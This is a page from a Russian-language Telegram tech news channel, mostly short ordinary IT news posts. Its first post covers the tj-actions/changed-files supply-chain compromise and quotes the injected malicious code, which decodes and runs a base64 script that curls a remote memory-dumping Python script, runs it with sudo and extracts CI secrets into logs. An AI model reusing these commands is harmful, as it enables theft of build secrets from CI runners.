Технологический Болт Генона

Выявлена подстановка вредоносного изменения в репозиторий проекта changed-files, развивающего обработчик к системе GitHub Actions, позволяющей автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push-запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull-запросов. Обработчик changed-files использовался в 23 тысячах репозиториях, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.
. . .
При выполнении обработчика changed-files вредоносная вставка собирала присутствующие в сборочном окружении ключи доступа и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.
. . .
Понять наличие вредоносного изменения можно по упоминанию "bash" в файле index.js:


   async function updateFeatures(token) {
   
       const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1...ApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
           ignoreReturnCode: true,
           silent: true
       });
       core.info(stdout);
   }

В base64-последовательности содержался код:

   if [[ "$OSTYPE" == "linux-gnu" ]]; then
     B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo  python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
     echo $B64_BLOB
   else
     exit 0
   fi

Компрометация GitHub Actions-обработчика changed-files, применяемого в 23 тысячах репозиториях
https://www.opennet.ru/opennews/art.shtml?num=62892

Оригинал
Harden-Runner detection: tj-actions/changed-files action is compromised
https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised

По ссылке на gist замечен Никита Ступин

> https://gist.githubusercontent.com/nikitastupin
> nikitastupin

Никита достаточно известный в узких кругах (https://nikitastupin.com/)

У него был прикольный доклад на ZeroNights 2021 - Client-side JavaScript prototype pollution, видос прикрепил к посту.

🆒9🤡3❤1

4.21K views15:15

Технологический Болт Генона

В посте показан пример эксплуатации, он достаточно прост.

There’s a new Kubernetes security vulnerability that’s just been disclosed and I thought it was worth taking a look at it, as there’s a couple of interesting aspects to it. CVE-2025-1767 exists in the gitRepo volume type and can allow users who can create pods with gitRepo volumes to get access to any other git repository on the node where the pod is deployed.
. . .
Patching & Mitigation

The patching situation for this vulnerability is interesting. The CVE description says that a patch will not be provided as gitRepo volumes are deprecated, which is true. However, this volume type is enabled by Kubernetes by default and there is no flag or switch that would allow a cluster operator to disable it.

In practice, if you don’t use gitRepo volumes, you can mitigate this in a couple of ways. If you don’t need git on your nodes you can just remove it there (assuming un-managed Kubernetes of course), and you can also block the use of these volumes using Validating Admission Policy or similar admission controllers.

CVE-2025-1767 - Another gitrepo issue
https://raesene.github.io/blog/2025/03/14/cve-2025-1767-another-gitrepo-issue/

Предыдущий пост из этой серии
Fun With GitRepo Volumes
https://raesene.github.io/blog/2024/07/10/Fun-With-GitRepo-Volumes/

Спасибо подписчику за ссылку

👍7🤡2

3.31K views16:12

Технологический Болт Генона

Forwarded from DOFH - DevOps from hell

Кто юзает Nextcloud и 2FA, не обновляйтесь до 31 версии, иначе получите невозможность залогиниться. Мне пришлось откатываться из бэкапа.
2FA пилится отдельной командой, и не успевает за развитием Nextcloud: https://github.com/nextcloud/twofactor_gateway/issues/624

GitHub

twofactor_gateway 0.20.0 breaks Nextcloud 31 · Issue #624 · nextcloud/twofactor_gateway

How to use GitHub Please use the 👍 reaction to show that you are affected by the same issue. Please don't comment if you have no relevant information to add. It's just extra noise for every...

😁29🥴6👍2❤1

2.81K views19:22

Технологический Болт Генона

Forwarded from IT Friday (Sabbath)

Свеженькое издание System Design - The Big Archive от Alex Xu - автора книг по System Design и блога ByteByteGo. Любителям лаконичной и наглядной инфографики по архитектуре, ДевоПсу в целом по айтишечке 😃
Прикольно позалипать, да и в целом можно использовать для обучалок.

Please open Telegram to view this post

VIEW IN TELEGRAM

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥20❤7

3.32K views06:54

Технологический Болт Генона

Инновации, которые мы заслужили

В KDE реализован график для оценки скорости копирования файлов
https://www.opennet.ru/opennews/art.shtml?num=62890

🆒32🤡19🤣4🔥3❤2

3.69K views07:06

Технологический Болт Генона

🙈

Sensitive Information Disclosure via Back Button Post Logout on https://apps.nextcloud.com/account/
https://hackerone.com/reports/2946927

😁23🙈6🤡2🤯1

3.96K views21:05

Технологический Болт Генона

Есть такой проект Organic Maps, который делает бесплатное мобильное приложение для автономной навигации, которое, в свою очередь, базируется на OpenStreetMap.

Я знаю про него очень давно, пользовался мало, но считаю проект классным и полезным.

И всё бы ничего, но их принудительно перевёл в ro-режим GitHub

GitHub без предупреждения перевёл репозитории проекта Organic Maps в архивный режим, допускающий доступ только для чтения. Официальных разъяснений на текущий момент не поступало, однако разработчики предполагают, что причиной блокировки стало неверное определение местоположения кого-то из разработчиков, позволившее ассоциировать его с регионом, находящимся под санкциями.

У одного из разработчиков в учётной записи на GitHub появилось соответствующее предупреждение об ограничении доступа к приватным репозиториям и платным сервисам из-за того, что он является резидентом подсанкционного региона.

GitHub принудительно перевёл репозитории проекта Organic Maps в архивный режим
https://www.opennet.ru/opennews/art.shtml?num=62887

Оригинальный пост в Mastodon
https://mastodon.social/@organicmaps/114155428924741370

Я, в поисках ответов на возникшие вопросы, пошёл в русскоязычный чат @OrganicMapsRu, где, собственно и есть все основные люди, которые ведут проект.

И там открылся портал в ад со срачем про бабки, доли и т.д. между контрибьюторами. При этом официального сообщения по ситуации нет ни на одном ресурсе до сих пор (я сделал скриншот, который потенциально хоть что-то объясняет)

https://xn--r1a.website/OrganicMapsRu/76603
https://xn--r1a.website/OrganicMapsRu/76607
https://xn--r1a.website/OrganicMapsRu/76614
https://xn--r1a.website/OrganicMapsRu/76617
https://xn--r1a.website/OrganicMapsRu/76626

В общем, у меня, как у стороннего наблюдателя, сложилось впечатление, что "блокировка" GitHub это не самая большая проблема и угроза для проекта на данный момент.

🙈22🤡8🆒5😁2😡1

3.86K views06:07

Технологический Болт Генона

Опубликованы результаты оценки влияния на производительность пересборки пакетов для Ubuntu с различными опциями и реализациями функций выделения памяти. Экспериментатору удалось на 90% (в 1.9 раза) повысить производительность пакета jq с инструментарием для обработки данных в формате JSON, путём обычной пересборки из того же пакета с исходным кодом, без внесения изменений в сам код. Производительность оценивалась через измерение времени выполнения типового фильтрующего запроса над данными GeoJSON, размером 500МБ.

Итоги эксперимента:

- Вариант, собранный в GCC из тех же исходных текстов с флагами по умолчанию оказался быстрее бинарного пакета Ubuntu на 2-4%.

- Пересборка в Clang 18 с уровнем оптимизации"-O3", включением оптимизации на этапе связывания ("-flto") и отключением отладочной информации ("-DNDEBUG") привела к ускорению на 20%.

- Пересборка с системой распределения памяти TCMalloc (добавление "-L/usr/lib/x86_64-linux-gnu -ltcmalloc_minimal" в LDFLAGS) привела к ускорению на 40%.

- Замена функций malloc на системы распределения памяти tcmalloc, jemalloc и mimalloc через "LD_PRELOAD=/usr/lib/x86_64-linux-gnu/lib....so" привела к увеличению производительности на 27%, 29% и 44%. При запуске с mimalloc, показавшем ускорение на 44%, выставлялась переменная окружения "MIMALLOC_LARGE_OS_PAGES=1".

- Пересборка пакета с mimalloc в LDFLAGS вместо связывания через LD_PRELOAD привела к ускорению прохождения теста на 90%. Другой тест по обработке 2.2GB JSON-данных в 13000 файлах также показал прирост производительности примерно в два раза.

Производительность Ubuntu-пакета jq удалось увеличить в 1.9 раза путём пересборки
https://www.opennet.ru/opennews/art.shtml?num=62912

Оригинальный пост
Make Ubuntu packages 90% faster by rebuilding them
https://gist.github.com/jwbee/7e8b27e298de8bbbf8abfa4c232db097

Открытка @itpgchannel и его приключениям с malloc 🌝

👍25🤡8⚡2

5.71K views13:16

Технологический Болт Генона

Forwarded from useful security dump

История, уходящая больше чем на полгода назад, заиграла новыми красками.

Тогда я сдал несколько багов через Bug Bounty платформу в одном российском средстве виртуализации. Хотелось получить CVE (или хотя бы BDU), т.к баги были найдены в вендорском продукте, но любые попытки сделать это не привели к успеху.

И тут я увидел новость – эти ребята прошли сертификацию по ФСТЭКу, а значит у меня появился легальный способ получить BDU, зарепортив баги с багбаунти напрямую во ФСТЭК. Что я и сделал.

Как итог - мой первый(ая?) BDU – BDU:2025-02510 🤟💪

Кстати весь процесс общения с регулятором занял неделю, что на мой взгляд круто. Триаж даже побыстрее некоторых баг баунти програм.

P.S. – Я всё ещё жду назначения CVE в нескольких западных вендорских продуктах 🥲

P.P.S – Я заслал во ФСТЭК ещё три бага в этом же продукте

👍41🔥10🤩3☃1

2.9K views18:33

Технологический Болт Генона

Четверг, а значит время проектов от подписчиков! 🌝

Тем, кто пропустил, что такое четверговые проекты от подписчиков, можно прочитать тут -

https://xn--r1a.website/tech_b0lt_Genona/4983

Слово автору @mehalom

---

Уже второй год[^1] я с друзьями делаю некоммерческую летнюю школу для подростков.

Мы живём в палаточном лагере в Армении, ботаем и наслаждается природой.

Формально, у нас есть физики, математики, биологи и гуманитарии, но, на самом деле, тем курсов существенно больше.

Например, я по работе занимаюсь компиляторами, поэтому рассказываю детям про архитектуру компьютера и языки программирования, а пару лет назад мои ученики даже написали простенький проц на кастрированном VHDL и ассемблер к нему.

Нам бы очень помогло, если бы ты о нас рассказал.

Кто мы такие?

Мы — просветительский проект для подростков, интересующихся наукой. Мы не готовим к олимпиадам и экзаменам, не натаскиваем на конкретные задачи. Наша цель — научиться получать удовольствие от учёбы и достигать поставленных перед собой целей.

Набор уже открыт
https://xn--r1a.website/forest_school_am/270

Узнать больше о школе и подать заявку можно на нашем сайте и в соцсетях:
https://forest-school.am/
https://xn--r1a.website/forest_school_am
https://vk.com/forest_school_am

---

👍24❤4🤔4👎2🤡2🔥1🥱1

4.12K views12:54

Технологический Болт Генона

Случилась ДРАМА1!!!1 в репозитории Nginx

Туда принесли PR, что бы сделать Dark Mode для 500-ых страниц или 404, например.

🌙 Saving Millions of Eyes: Dark Mode Support for Nginx Error Pages #567
https://github.com/nginx/nginx/pull/567

В результате там две недели мурыжили эту тему, а потом закрыли PR

Given the passionate and heated nature of this discussion, we've decided to lock the comments on this PR. However, we still want your thoughts on further considering dark mode support. Please express your support or disapproval by liking or disliking the proposal #584. We will follow up with a final decision.

Once again, we sincerely appreciate the collaboration and discussions, and kindly remind everyone to remain courteous and respectful toward fellow community members. Thank you for understanding!

Теперь проголосовать можно тут
https://github.com/nginx/nginx/discussions/584

😁51🤡8🔥6💊2👍1

5.15K views13:18

Технологический Болт Генона

Проблемы возникают из-за того, что подобные ИИ-индексаторы действуют агрессивно, собирают информацию в несколько потоков и не учитывают правила доступа к контенту, заданные на сайтах через файл robots.txt. Проблему усугубляет то, что разработками в области машинного обучения занимаются большое число разных компаний по всему миру, которые пытаются собирать как можно больше данных в меру своих возможностей. Каждая компания запускает свой индексатор и все вместе они создают огромную паразитную нагрузку на элементы инфраструктуры.

После начала блокировки подобного трафика, некоторые индексаторы начали притворяться типовыми браузерами для обхода фильтрации по идентификатору User Agent и использовать распределённые сети, охватывающие большое число хостов, для преодоления ограничений интенсивности обращений с одного IP. Наиболее сильно из-за активности ИИ-индексаторов страдают инфраструктуры открытых проектов, использующих собственные хостинги Git-репозиториев, форумы и Wiki, которые изначально не были рассчитаны на обработку высокой нагрузки.

Проблемы возникли у платформы совместной разработки SourceHut, развиваемой Дрю ДеВолтом (Drew DeVault), автором пользовательского окружения Sway. Дрю сетует на то, что в очередной раз вместо того, чтобы заниматься развитием платформы ему приходится тратить большую часть своего времени на разгребание неожиданно возникших проблем.
. . .
Другие проекты, обратившие внимание на проблему:

- Из-за высокой нагрузки на инфраструктуру для противостояния ИИ-индексаторам разработчики GNOME внедрили систему защиты от ботов Anubis, допускающую вход только после вычисления хэша sha256 (proof-of-work). При открытии страниц в GitLab GNOME теперь появляется характерная аниме-заставка, которая у некоторых пользователей приводит к минутной задержке загрузки страниц. За два с половиной часа тестирования только 3% запросов прошили проверку в Anubis, а 97% обращений были совершены ботами.

- В проекте Fedora из-за запросов ИИ-индексаторов наблюдаются сбои с работой платформы совместной разработки Pagure. В процессе противостояния с ИИ-ботами пришлось заблокировать множество подсетей, включая весь диапазон IP-адресов Бразилии, что привело к блокировке и некоторых пользователей.

- Сообщается о проблемах с сервисом совместной разработки Codeberg и инфраструктурой платформы Forgejo (code.forgejo.org), которые пытаются отразить поток запросов ИИ-индексаторов. 

- GitLab-сервер проекта KDE на некоторое время оказался недоступен из-за перегрузки в результате активности ИИ-индексаторов, отравлявших запросы из подсети, принадлежащей компании Alibaba.

- Из-за высокой нагрузки на сайт разработчики Inkscape начали блокировку по спискам Prodigious и планируют установить систему Anubis для защиты от ИИ-индексаторов.

- Из-за наплыва ИИ-индексаторов отмечаются сбои в работе форума проекта FreeCAD и проблемы с Wiki проекта Arch Linux.

- Разработчики открытой социальной сети Diaspora сообщили о возрастании нагрузки на форумы Discourse, Wiki и web-сайт проекта. По статистике за ноябрь и декабрь, собранной до нашествия обезличенных ботов, около 70% всего трафика пришлось на запросы от ИИ-индексаторов: 24.6% трафика сгенерировано ботом GPTBot, 17.1% - Amazonbot, 4.3% - ClaudeBot, 2.2% - meta-externalagent (для сравнения на ботов Google и Bing приходится по 0.14% трафика).

Перегрузка инфраструктуры KDE, GNOME, Fedora, Codeberg и SourceHut из-за ИИ-индексаторов
https://www.opennet.ru/opennews/art.shtml?num=62925

Cloudflare выпустила AI Labyrinth, что бы бороться с подобной активностью
https://blog.cloudflare.com/ai-labyrinth/

A list of AI agents and robots to block.
http://github.com/ai-robots-txt/ai.robots.txt

~460 тысяч адресов с которых зафиксирована активность ИИ-ботов
https://www.partagerfichier.fr/download.php?f=2025-03-17-09-22-30_botnet-set.zip

👍20🔥10🫡7🤡2❤1

6.6K views18:26

Технологический Болт Генона

Forwarded from Linux Kernel Security (Andrey Konovalov)

Linux kernel Rust module for rootkit detection

Article by Antoine Doglioli about implementing an in-kernel detector for many existing rootkits. The detector is written in Rust.

🤯9🤡7👍1

2.94K views19:30

Технологический Болт Генона

Forwarded from Sachok

👍16✍7🤡4❤‍🔥3❤1

2.6K views20:16

About

Blog

Apps

Platform